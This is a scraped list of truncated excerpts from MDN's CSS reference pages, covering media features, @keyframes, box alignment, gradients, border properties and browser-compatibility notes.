e or relative. note that the url for a mozilla package need not actually specify a file; it can just specify the package name and part, and the appropriate file is chosen automatically (e.g. chrome://communicator/skin/). see here for more information. list-of-media-queries is a comma-separated list of media queries conditioning the application of the css rules defined in the linked url. if the browser does not support any these queries, it does not load the linked resource. supports-query is either a <supports-condition> or a <declaration>. description imported rules must precede all other types of rules, except @charset rules; as it is not a nested statement, @import cannot be used inside conditional group at-rules. so that user agents can avoid retrieving resources for unsupported me...
@keyframes - CSS: Cascading Style Sheets
a style list of keyframe selectors, which specify percentages along the animation when the keyframe occurs, and a block containing the styles for that keyframe. you can list the keyframe percentages in any order; they will be handled in the order they should occur. valid keyframe lists if a keyframe rule doesn't specify the start or end states of the animation (that is, 0%/from and 100%/to), browsers will use the element's existing styles for the start/end states. this can be used to animate an element from its initial state and back. properties that can't be animated in keyframe rules are ignored, but supported properties will still be animated. resolving duplicates if multiple keyframe sets exist for a given name, the last one encountered by the parser is used. @keyframes rules don't ...
-webkit-animation - CSS: Cascading Style Sheets
tension whose value is true if vendor-prefixed css animations are supported. apple has a description in safari css reference. note: this media feature is only supported by webkit. if possible, use an @supports feature query instead. syntax the -webkit-animation media feature is a boolean whose value is true if the vendor-prefixed css animation properties are supported. values true the browser supports -webkit prefixed css animations. false the browser doesn't support these prefixed css animations. examples @media (-webkit-animation) { /* css to use if animations are supported */ } specifications not part of any standard. ...
-webkit-transform-2d - CSS: Cascading Style Sheets
the -webkit-transform-2d boolean css media feature is a chrome extension whose value is true if vendor-prefixed css 2d transforms are supported. apple has a description in safari css reference. syntax -webkit-transform-2d is a boolean css media feature whose value is true if the browser supports -webkit prefixed css 2d transforms. values true the browser supports the 2d css transforms with the -webkit prefix. false the 2d css transforms prefixed with -webkit are not supported by the browser. examples basic example @media (-webkit-transform-2d) { div { -webkit-transform: translate(100px, 100px); } } this media feature is only supported by webkit. if possible, use an @supports feature query instead: @supports (-webkit-transform: translate(100px, 100px)) { div...
-webkit-transform-3d - CSS: Cascading Style Sheets
the -webkit-transform-3d boolean css media feature is a chrome extension whose value is true if vendor-prefixed css 3d transforms are supported. note: this media feature is only supported by webkit and blink. if possible, use an @supports feature query instead. syntax -webkit-transform-3d is a boolean css media feature whose value is true if the browser supports -webkit prefixed css 3d transforms. values true the browser supports the 3d css transforms with the -webkit prefix. false the 3d css transforms prefixed with -webkit are not supported by the browser. examples @media (-webkit-transform-3d) { .foo { transform-style: preserve-3d; } } @media (-webkit-transform-3d: 1) { .foo { transform-style: preserve-3d; } } specifications specificatio...
inverted-colors - CSS: Cascading Style Sheets
the inverted-colors feature is specified as a keyword value chosen from the list below. none colors are displayed normally. inverted all pixels within the displayed area have been inverted. examples html <p>if you're using inverted colors, this text should be blue on white (the inverse of yellow on black). ...
orientation - CSS: Cascading Style Sheets
the orientation css media feature can be used to test the orientation of the viewport (or the page box, for paged media). note: this feature does not correspond to device orientation. opening the soft keyboard on many devices in portrait orientation will cause the viewport to become wider than it is tall, thereby causing the browser to use landscape styles instead of portrait. syntax the orientation feature is specified as a keyword value chosen from the list below. keyword values portrait the viewport is in a portrait orientation, i.e., the height is greater than or equal to the width. landscape the viewport is in a landscape orientation, i.e., the width is greater than the height. examples html <div>box 1</div> <div>box 2</div> <div>box 3</div> css body { display: flex...
prefers-reduced-data - CSS: Cascading Style Sheets
false in the boolean context. reduce indicates that user has expressed the preference for lightweight alternate content. user preferences currently no user agent implements this feature, although various operating systems do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating system. examples note: no browser currently implements this feature so the following example will not work. in this example the montserrat-regular.woff2 font file will neither be preloaded nor downloaded if the user prefers reduced data, in this case the "system font stack" will serve as the fallback font: html <head> <link rel="preload" href="fonts/montserrat-regular.woff2" as="font" media="(prefers-reduced-data: no-pref...
prefers-reduced-transparency - CSS: Cascading Style Sheets
notified the system that they prefer an interface that minimizes the amount of transparent or translucent layer effects. user preferences currently no user agent implements this feature, although various operating systems do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating systems. examples note: no browser currently implements this feature so the following example will not work. this example has an annoying transparency effect by default. html <div class="transparency">transparent box</div> css .transparency { opacity: 0.5; } @media (prefers-reduced-transparency: reduce) { .transparency { opacity: 1; } } result specifications specification status comment ...
max-zoom - CSS: Cascading Style Sheets
a zoom factor of 1.0 or 100% corresponds to no zooming. larger values are zoomed in. smaller values are zoomed out. syntax /* keyword value */ max-zoom: auto; /* <number> values */ max-zoom: 0.8; max-zoom: 2.0; /* <percentage> value */ max-zoom: 150%; values auto the user agent will set the document's upper zoom factor limit. <number> a non-negative number limiting the maximum value of the zoom factor. ...
min-zoom - CSS: Cascading Style Sheets
a zoom factor of 1.0 or 100% corresponds to no zooming. larger values are zoomed in. smaller values are zoomed out. syntax /* keyword value */ min-zoom: auto; /* <number> values */ min-zoom: 0.8; min-zoom: 2.0; /* <percentage> value */ min-zoom: 150%; values auto the user agent will set the document's lower zoom factor limit. <number> a non-negative number limiting the minimum value of the zoom factor. ...
Alternative style sheets - CSS: Cascading Style Sheets
a title attribute on the <link rel="stylesheeet"> or <style> element, the title becomes one of the choices offered to the user. style sheets linked with the same title are part of the same choice. style sheets linked without a title attribute are always applied. use rel="stylesheet" to link to the default style, and rel="alternate stylesheet" to link to alternative style sheets. this tells the browser which style sheet title should be selected by default, and makes that default selection apply in browsers that do not support alternate style sheets. specifications specification status comment html living standardthe definition of 'link type "alternate"' in that specification. living standard html living standardthe definition of 'alternative style...
Coordinate systems - CSS: Cascading Style Sheets
. for example, when a mouse event occurs, the position of the mouse as specified in the event's offsetx and offsety properties are given relative to the top-left corner of the node to which the event has been delivered. the origin is inset by the distances specified by padding-left and padding-top. client the "client" coordinate system uses as its origin the top-left corner of the viewport or browsing context in which the event occurred. this is the entire viewing area in which the document is presented. scrolling is not a factor. on a desktop computer, for example, the mouseevent.clientx and mouseevent.clienty properties indicate the position of the mouse cursor at the moment the event occurred, relative to the top-left corner of the browser window. the top-left corner of the window is al...
CSS Animations - CSS: Cascading Style Sheets
nction, duration, their number of repetitions, and other attributes. reference css properties animation animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function css at-rules @keyframes guides detecting css animation support describes a technique for detecting if a browser supports css animations. using css animations step-by-step tutorial about how to create animations using css. this article describes each relevant css property and at-rule and explains how they interact with each other. css animations tips and tricks tips and tricks to help you get the most out of css animations. currently offers a technique for replaying an animation which has already run ...
Box alignment in grid layout - CSS: Cascading Style Sheets
p grid-gap the grid specification originally contained the definition for the properties grid-row-gap, grid-column-gap and grid-gap. these have since been moved into the box alignment specification and renamed to row-gap, column-gap, and gap. this allows them to be used for other layout methods where a gap between items makes sense. the updated properties have not yet been implemented in all browsers. therefore, to use the gap properties in grid layout, you should use the grid-row-gap, grid-column-gap and grid-gap versions to ensure full compatibility. you could double up the properties and use both as you would for vendor prefixes. reference css properties justify-content align-content place-content justify-items align-items place-items justify-self align-self place-self ro...
Box alignment in Multi-column Layout - CSS: Cascading Style Sheets
box alignment across layout methods. in multi-column layout the alignment container is the content box of the multicol container. the alignment subject is the column box. the properties which apply to multi-column layouts are detailed below. note: multi-column layout predates the box alignment specification. and the properties listed here, while specified for multicol, may not be supported in browsers. align-content and justify-content the align-content property applies to the block axis and justify-content to the inline axis. any spacing added to the columns due to use of space distribution will be added to the gap between the columns, therefore making the gap larger than might be specified by the column-gap property. using a value of justify-content other than normal or stretch will c...
Introduction to the CSS basic box model - CSS: Cascading Style Sheets
css determines the size, position, and properties (color, background, border size, etc.) of these boxes. every box is composed of four parts (or areas), defined by their respective edges: the content edge, padding edge, border edge, and margin edge. the content area, bounded by the content edge, contains the "real" content of the element, such as text, an image, or a video player. its dimensions are the content width (or content-box width) and the content height (or content-box height). it often has a background color or background image. ...
Color picker tool - CSS: Cascading Style Sheets
0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; color: #fff; font-weight: bold; line-hei...
Handling Overflow in Multicol - CSS: Cascading Style Sheets
situation could happen when an image in a column is wider than the column-width value or the width of the column based on the number of columns declared with column-count. in this situation, the content should visibly overflow into the next column, rather than be clipped by the column box. you can see an example of this below, with an image of the expected rendering as, at the time of writing, browsers deal with this differently. if you want an image to size down to fit the column box, the standard responsive images solution of setting max-width: 100% will achieve that for you. more columns than will fit how overflowing columns are handled depends on whether you are in a fragmented media context, such as print, or a continuous media context, such as a web page. in fragmented media,...
Handling content breaks in multicol - CSS: Cascading Style Sheets
olumn. you can change that value to see the effect on the breaking of the content. when things don’t work as expected if you have small amounts of content and are trying to control breaks in a number of ways or on several elements, your content needs to break somewhere, so you may not always get the result you intended. to some extent your use of fragmentation is always a suggestion to the browser, to control breaks in this way if it is possible. in addition to the above, browser support for these properties is a little patchy. the compatibility data charts on the individual property pages here on mdn can help you see which browsers support which features. in most cases, the fallback to breaks not being controlled is something you can live with, with suboptimal breaking being untidy rat...
CSS Display - CSS: Cascading Style Sheets
x> <display-internal> <display-legacy> guides css flow layout (display: block, display: inline) block and inline layout in normal flow flow layout and overflow flow layout and writing modes formatting contexts explained in flow and out of flow display: flex basic concepts of flexbox aligning items in a flex container controlling ratios of flex items along the main axis cross-browser flexbox mixins mastering wrapping of flex items ordering flex items relationship of flexbox to other layout methods backwards compatibility of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in gr...
Typical use cases of Flexbox - CSS: Cascading Style Sheets
as you lay out your items you want to control the dimensions of the items in that one dimension, or control the spacing between items. these are the uses that flexbox was designed for. ...
CSS Flexible Box Layout - CSS: Cascading Style Sheets
in doing so. controlling ratios of flex items along the main axis explaining the flex-grow, flex-shrink and flex-basis properties. mastering wrapping of flex items how to create flex containers with multiple lines and control the display of the items in those lines. typical use cases of flexbox common design patterns that are typical flexbox use cases. backwards compatibility of flexbox browser status of flexbox, interoperability issues and supporting older browsers and versions of the spec specifications specification status comment css flexible box layout module candidate recommendation initial definition. ...
Flow Layout and Overflow - CSS: Cascading Style Sheets
re sense when working with different writing modes than tying our layout to the physical dimensions of the screen. the level 3 overflow module also includes flow relative properties for overflow - overflow-block and overflow-inline. these correspond to overflow-x and overflow-y but the mapping depends on the writing mode of the document. these properties currently do not have implementations in browsers, so you will need to use the physical properties at the present time and adjust for your writing mode. indicating overflow in the level 3 overflow specification we have some properties which can help improve the way content looks in an overflow situation. inline-axis overflow the text-overflow property deals with text overflowing in the inline direction. it takes one of two values clip, in...
Introduction to formatting contexts - CSS: Cascading Style Sheets
way to do this in the past has been to set overflow: auto or set other values than the initial value of overflow: visible. setting overflow: auto created a new bfc containing the float. our <div> now becomes a mini-layout inside our layout. any child element will be contained inside it. the problem with using overflow to create a new bfc is that the overflow property is meant for telling the browser how you wish to deal with overflowing content. there are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use this property purely to create a bfc. in addition, it is potentially not very readable for a future developer, as it may not be obvious why you used overflow for this purpose. if you do this, it would be a good idea to comment the code to exp...
Using CSS gradients - CSS: Cascading Style Sheets
s with the repeating-linear-gradient(), repeating-radial-gradient(), and repeating-conic-gradient() functions. gradients can be used anywhere you would use an <image>, such as in backgrounds. because gradients are dynamically generated, they can negate the need for the raster image files that traditionally were used to achieve similar effects. in addition, because gradients are generated by the browser, they look better than raster images when zoomed in, and can be resized on the fly. we'll start by introducing linear gradients, then introduce features that are supported in all gradient types using linear gradients as the example, then move on to radial, conic and repeating gradients using linear gradients a linear gradient creates a band of colors that progress in a straight line. a bas...
CSS Lists - CSS: Cascading Style Sheets
css lists is a module of css that defines how lists can be laid out and styled. reference properties list-style-image list-style-type list-style-position list-style guides consistent list indentation explains how to achieve consistent list indentation across different browsers. using css counters explains how to use the css counter properties to control list counters. specifications specification status comment css lists module level 3 working draft css level 2 (revision 1) recommendation initial definition ...
Logical properties for floating and positioning - CSS: Cascading Style Sheets
ive box stays with the text direction. new two- and four-value shorthands as with other properties in the specification we have some new shorthand properties, which give the ability to set two or four values at once. inset — sets all four sides together with physical mapping. inset-inline — sets both logical inline insets. inset-block — sets both logical block insets. note: the browsers that have implemented the logical properties specification have so far implemented the direct mappings and not the new shorthands. look to the browser compatibility data section on each property page reference for more details. example: logical values for text-align the text-align property has logical values that relate to text direction — rather than using left and right we can use start...
The stacking context - CSS: Cascading Style Sheets
occurs because these elements have special properties which cause them to form a stacking context. a stacking context is formed, anywhere in the document, by any element in the following scenarios: root element of the document (<html>). element with a position value absolute or relative and z-index value other than auto. element with a position value fixed or sticky (sticky for all mobile browsers, but not older desktop). element that is a child of a flex (flexbox) container, with z-index value other than auto. element that is a child of a grid (grid) container, with z-index value other than auto. element with a opacity value less than 1 (see the specification for opacity). element with a mix-blend-mode value other than normal. element with any of the following properties with valu...
CSS Scroll Snap - CSS: Cascading Style Sheets
k scroll-padding-block-start scroll-padding-block-end css properties on children scroll-snap-align scroll-margin scroll-margin-top scroll-margin-right scroll-margin-bottom scroll-margin-left scroll-margin-inline scroll-margin-inline-start scroll-margin-inline-end scroll-margin-block scroll-margin-block-start scroll-margin-block-end guides basic concepts of css scroll snap browser compatibility and scroll snap specification specification status comment css scroll snap module level 1 candidate recommendation initial definition ...
CSS Scrollbars - CSS: Cascading Style Sheets
ollbar-width scrollbar-color specifications specification status comment css scrollbars level 1 working draft initial definition. accessibility concerns when you customize scrollbars, consider they have enough contrast and that their hit area is large enough for people who use touch input. baseline rules for scrollbar usability | adrian roselli browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. scrollbar-width desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollb...
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
ll targeted elements, then the universal selector comes in handy: :target { color: red; } example in the following example, there are five links that point to elements in the same document. selecting the "first" link, for example, will cause <h1 id="one"> to become the target element. note that the document may jump to a new scroll position, since target elements are placed on the top of the browser window if possible. <h4 id="one">...</h4> <p id="two">...</p> <div id="three">...</div> <a id="four">...</a> <em id="five">...</em> <a href="#one">first</a> <a href="#two">second</a> <a href="#three">third</a> <a href="#four">fourth</a> <a href="#five">fifth</a> conclusion in cases where a fragment identifier points to a portion of the document, readers may become confused about which par...
CSS values and units - CSS: Cascading Style Sheets
sents the value specified as the property’s initial value. the inherit keyword represents the computed value of the property on the element’s parent, provided it is inherited. the unset keyword acts as either inherit or initial, depending on whether the property is inherited or not. a fourth value of revert was added in the cascade level 4 specification, but it does not currently have good browser support. urls a <url> type uses functional notation, which accepts a <string> that is a url. this may be an absolute url or a relative url. for example, if you wanted to include a background image, you might use either of the following. .box { background-image: url("images/my-background.png"); } .box { background-image: url("https://www.exammple.com/images/my-background.png"); } the p...
Animatable CSS properties - CSS: Cascading Style Sheets
column-gap column-rule column-rule-color column-rule-width column-width columns filter flex flex-basis flex-grow flex-shrink font font-size font-size-adjust font-stretch font-variation-settings font-weight gap grid-column-gap grid-gap grid-row-gap grid-template-columns grid-template-rows height inline-size inset inset-block inset-block-end inset-block-start inset-inline inset-inline-end inset-inline-start left letter-spacing line-clamp line-height margin margin-block-end margin-block-start margin-bottom margin-inline-end margin-inline-start margin-left margin-right margin...
Cookbook template - CSS: Cascading Style Sheets
why did you choose a certain method? if you want to add an additional example here — for example a version with fallbacks, please do. this section is deliberately loose as patterns range from the very simple to more complex. useful fallbacks or alternative methods if there are useful alternative methods for building the recipe, or fallback recipes to use if you have to support non-supporting browsers, include them in separate sections down here. accessibility concerns include this is there are any specific things to watch out for in regard to accessibility. if not relevant for your pattern this can be omitted. ...
Recipe: Media objects - CSS: Cascading Style Sheets
ip it to switch the image to the other side — this is done by adding the media-flip class, which defines a flipped grid template causing the layout to be mirrored. when we nest one media object inside another we need to place it into the second track in the regular layout, and the first track when flipped. fallbacks there are a number of possible fallbacks for this pattern, depending on the browsers you wish to support. a good catch-all would be to float the image left, and to add a clearfix to the box to ensure that it contained the floats. download this example once floated elements become grid items the float no longer applies so you don’t need to do anything special to clear the float. what you will need to do is remove any margins applied to the item, and any widths which we...
Media queries - CSS: Cascading Style Sheets
media queries, their syntax, and the operators and media features which are used to construct media query expressions. testing media queries programmatically describes how to use media queries in your javascript code to determine the state of a device, and to set up listeners that notify your code when the results of media queries change (such as when the user rotates the screen or resizes the browser). using media queries for accessibility learn how media queries can help users understand your website better. specifications specification status comment media queries level 5 editor's draft css conditional rules module level 3 candidate recommendation media queries level 4 candidate recommendation media queries ...
Microsoft CSS extensions - CSS: Cascading Style Sheets
-color -ms-scroll-chaining -ms-scroll-limit -ms-scroll-limit-x-max -ms-scroll-limit-x-min -ms-scroll-limit-y-max -ms-scroll-limit-y-min -ms-scroll-rails -ms-scroll-snap-points-x -ms-scroll-snap-points-y -ms-scroll-snap-x -ms-scroll-snap-y -ms-scroll-translation -ms-text-autospace -ms-touch-select -ms-wrap-flow -ms-wrap-margin -ms-wrap-through zoom pseudo-elements ::-ms-browse ::-ms-check ::-ms-clear ::-ms-expand ::-ms-fill ::-ms-fill-lower ::-ms-fill-upper ::-ms-reveal ::-ms-thumb ::-ms-ticks-after ::-ms-ticks-before ::-ms-tooltip ::-ms-track ::-ms-value media features -ms-high-contrast css-related dom apis mscontentzoomfactor msgetpropertyenabled msgetregioncontent msrangecollection msregionoverflow ...
Mozilla CSS extensions - CSS: Cascading Style Sheets
tton-arrow-down button-arrow-next button-arrow-previous button-arrow-up button-bevel checkbox checkbox-container checkbox-label checkmenuitem dialog groupbox listbox menuarrow menucheckbox menuimage menuitem menuitemtext menulist menulist-button menulist-text menulist-textfield menupopup menuradio menuseparator -moz-mac-unified-toolbar -moz-win-borderless-glass -moz-win-browsertabbar-toolbox -moz-win-communications-toolbox -moz-win-glass -moz-win-media-toolbox -moz-window-button-box -moz-window-button-box-maximized -moz-window-button-close -moz-window-button-maximize -moz-window-button-minimize -moz-window-button-restore -moz-window-titlebar -moz-window-titlebar-maximized progressbar progresschunk radio radio-container radio-label radiomenuitem resiz...
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
128, or 512x512, for example. svg source scaling examples now let's see some examples of what happens as we apply different scaling to these images. in each of the examples below, the enclosing rectangles are 300 pixels wide and 200 pixels tall. in addition, the backgrounds have background-repeat set to no-repeat for clarity. note: the screenshots below show the expected rendering. not all browsers currently render these correctly. specifying fixed lengths for both dimensions if you use background-size to specify fixed lengths for both dimensions, those lengths are always used, per rule 1 above. in other words, the image will always get stretched to the dimensions you specify, regardless of whether or not the source image has specified its dimensions and/or aspect ratio. source: no di...
Shorthand properties - CSS: Cascading Style Sheets
s that of its parent element. effectively, this "turns on inheritance". initial sets the property value applied to a selected element to the initial value of that property. unset resets the property to its natural value, which means that if the property is naturally inherited it acts like inherit, otherwise it acts like initial. note: there is also a newer value, revert, which has limited browser support. note: see origin of css declarations in introducing the css cascade for more information on each of these and how they work. we can look at a list of links and explore how the universal values work. the live example below allows you to play with the css and see what happens when you make changes. playing with code really is the best way to get to grips with html and css. for exam...
Linear-gradient Generator - CSS: Cascading Style Sheets
input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; line-height: inherit; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-i...
animation-delay - CSS: Cascading Style Sheets
initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples see css animations for examples. specifications specification status comment css animationsthe definition of 'animation-delay' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimation-delaychrome ...
animation-direction - CSS: Cascading Style Sheets
iedanimation typediscrete formal syntax <single-animation-direction>#where <single-animation-direction> = normal | reverse | alternate | alternate-reverse examples see css animations for examples. specifications specification status comment css animationsthe definition of 'animation-direction' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimation-directionchro...
background-position - CSS: Cascading Style Sheets
value syntax. modifies the percentage definition to match implementations. css level 2 (revision 1)the definition of 'background-position' in that specification. recommendation allows for keyword values and <length> and <percentage> values to be mixed. css level 1the definition of 'background-position' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-positionchrom...
background - CSS: Cascading Style Sheets
clip. the <background-color> value may only be included in the last layer specified. values <attachment> see background-attachment <box> see background-clip and background-origin <background-color> see background-color <bg-image> see background-image <position> see background-position <repeat-style> see background-repeat <bg-size> see background-size. accessibility concerns browsers do not provide any special information on background images to assistive technology. this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users. if the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document. mdn understanding wca...
border-block-start - CSS: Cascading Style Sheets
finition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anotherapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is no...
border-bottom-width - CSS: Cascading Style Sheets
ule level 3the definition of 'border-bottom-width' in that specification. candidate recommendation no significant change. css level 2 (revision 1)the definition of 'border-bottom-width' in that specification. recommendation no significant change. css level 1the definition of 'border-bottom-width' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-bottom-widthchrom...
border-image - CSS: Cascading Style Sheets
order. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: you should specify a separate border-style in case the border image fails to load. indeed, this is required according to the specification, although not all browsers implement this requirement. constituent properties this property is a shorthand for the following css properties: border-image-outset border-image-repeat border-image-slice border-image-source border-image-width syntax /* source | slice */ border-image: linear-gradient(red, blue) 27; /* source | slice | repeat */ border-image: url("/images/border.png") 27 space; /* source | slic...
border-inline-start - CSS: Cascading Style Sheets
finition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anotherapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is no...
border-left-style - CSS: Cascading Style Sheets
style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-style' in that specification. candidate recommendation no significant change. css level 2 (revision 1)the definition of 'border-left-style' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-left-stylechrome ...
border-left - CSS: Cascading Style Sheets
at specification. candidate recommendation no direct changes, though the modification of values for the border-left-color do apply to it. css level 2 (revision 1)the definition of 'border-left' in that specification. recommendation no significant changes. css level 1the definition of 'border-left' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-leftchrome ...
border-right-style - CSS: Cascading Style Sheets
yle: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-style' in that specification. candidate recommendation no significant change. css level 2 (revision 1)the definition of 'border-right-style' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-right-stylechrome...
border-right - CSS: Cascading Style Sheets
specification. candidate recommendation no direct changes, though the modification of values for the border-right-color do apply to it. css level 2 (revision 1)the definition of 'border-right' in that specification. recommendation no significant changes. css level 1the definition of 'border-right' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-rightchrome ...
border-spacing - CSS: Cascading Style Sheets
as either one or two values. when one <length> value is specified, it defines both the horizontal and vertical spacings between cells. when two <length> values are specified, the first value defines the horizontal spacing between cells (i.e., the space between cells in adjacent columns), and the second value defines the vertical spacing between cells (i.e., the space between cells in adjacent rows). values <length> the size of the spacing as a fixed value. formal definition initial value0applies totable and inline-table elementsinheritedyescomputed valuetwo absolute lengthsanimation typediscrete formal syntax <length> <length>? examples spacing and padding table cells this example applies a spacing of .5em vertically and 1em horizontally between a table's cells. note how, alo...
border-top - CSS: Cascading Style Sheets
that specification. candidate recommendation no direct changes, though the modification of values for the border-top-color do apply to it. css level 2 (revision 1)the definition of 'border-top' in that specification. recommendation no significant changes. css level 1the definition of 'border-top' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-topchrome ...
border - CSS: Cascading Style Sheets
Web › CSS › border
e set to a custom value using the shorthand, border now resets border-image to its initial value (none). css level 2 (revision 1)the definition of 'border' in that specification. recommendation accepts the inherit keyword. also accepts transparent as a valid color. css level 1the definition of 'border' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborderchrome ...
box-sizing - CSS: Cascading Style Sheets
traints of the parent container. the box-sizing property can be used to adjust this behavior: content-box gives you the default css box-sizing behavior. if you set an element's width to 100 pixels, then the element's content box will be 100 pixels wide, and the width of any border or padding will be added to the final rendered width, making the element wider than 100px. border-box tells the browser to account for any border and padding in the values you specify for an element's width and height. if you set an element's width to 100 pixels, that 100 pixels will include any border or padding you added, and the content box will shrink to absorb that extra width. this typically makes it much easier to size elements. note: it is often useful to set box-sizing to border-box to layout element...
caret-color - CSS: Cascading Style Sheets
e it more noticeable. by default, it is black, but its color can be altered with this property. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note that the insertion caret is only one type of caret. for example, many browsers have a “navigation caret,” which acts similarly to an insertion caret but can be moved around in non-editable text. on the other hand, the mouse cursor image shown when hovering over text where the cursor property is auto, or when hovering over an element where the cursor property is text or vertical-text, though it sometimes looks like a caret, is not a caret (it’s a cursor). syntax /...
clear - CSS: Cascading Style Sheets
Web › CSS › clear
1the definition of 'float and clear' in that specification. editor's draft adds the values inline-start and inline-end css level 2 (revision 1)the definition of 'clear' in that specification. recommendation no significant changes, though details are clarified. css level 1the definition of 'clear' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclearchrome ...
color - CSS: Cascading Style Sheets
Web › CSS › color
